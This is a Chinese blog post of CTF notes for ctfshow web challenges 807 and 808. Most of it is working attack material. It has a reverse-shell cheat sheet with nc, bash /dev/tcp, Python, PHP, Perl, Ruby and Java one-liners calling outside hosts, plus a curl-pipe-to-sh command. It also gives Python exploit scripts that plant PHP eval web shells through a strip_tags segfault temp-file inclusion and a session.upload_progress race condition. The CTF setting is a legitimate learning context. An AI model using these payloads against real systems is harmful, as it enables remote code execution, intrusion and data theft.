本文已参与「新人创作礼」活动,一起开启掘金创作之路。 @TOC
0x00 前言
接上一篇继续记录ctfshow web入门常用姿势 嗝
807 反弹shell N种姿势
参考
nc 不同操作系统情况不同 多试试
- nc ip port -e /bin/sh (alpine)
- nc -e /bin/bash ip port
- nc -e /bin/sh ip port
- nc -c bash ip port
bash
- bash -c "bash -i >& /dev/tcp/ip/port 0>&1" (tcp)
- sh -i >& /dev/tcp/ip/port 0>&1 (udp)
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
perl
perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby
ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
编译执行 javac Revs.java java Revs
祭出群主超人做的集合网站
your-shell.com/
curl your-shell.com/ip:port |sh
直接回弹
808 卡临时文件包含
参考
CVE-2018-14884
影响版本:An issue was discovered in PHP 7.0.x before 7.0.27, 7.1.x before 7.1.13, and 7.2.x before 7.2.1 wappalyzer分析出题目环境php版本为7.0.33不知道为啥也能用了
php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
import requests
url="http://483248ff-82c5-42bb-a11b-aae16c8857e8.challenge.ctf.show/?file=php://filter/string.strip_tags/resource=/etc/passwd"
files={
'file':('<?php eval($_REQUEST[kidult]);?>')
}
r=requests.post(url=url,files=files)
再访问就有了
穿插一个session.upload_progress
参考
利用条件
- session.upload_progress.enabled = on
- session.upload_progress.cleanup = on
- session.upload_progress.prefix = "upload_progress_"
- session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
- session.use_strict_mode
session.upload_progress.enabled可以控制是否开启session.upload_progress功能 session.upload_progress.cleanup可以控制是否在上传之后删除文件内容 session.upload_progress.prefix可以设置上传文件内容的前缀 session.upload_progress.name的值即为session中的键值
session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中
不过对容器很不友好..
import requests
import io
import threading
url = "http://7d3140f4-beae-498e-a5ac-41b0398aa2ed.challenge.ctf.show/index.php"
sessid = "kidult"
def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
},
cookies={
'PHPSESSID': sessid
},
files={
'file': ('kidult.jpg', filebytes)
}
)
def read(session):
while True:
res = session.post(url+"?a=/tmp/sess_"+sessid,
data={
"1":"<?php echo 333;system('cat /*');?>"
},
cookies={
"PHPSESSID":sessid
}
)
res2 = session.get("http://7d3140f4-beae-498e-a5ac-41b0398aa2ed.challenge.ctf.show/?file=/tmp/sess_kidult")
if '333' in res2.text:
print(res2.text)
print("成功写入!")
exit()
else:
print("Retry")
if __name__ == "__main__":
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()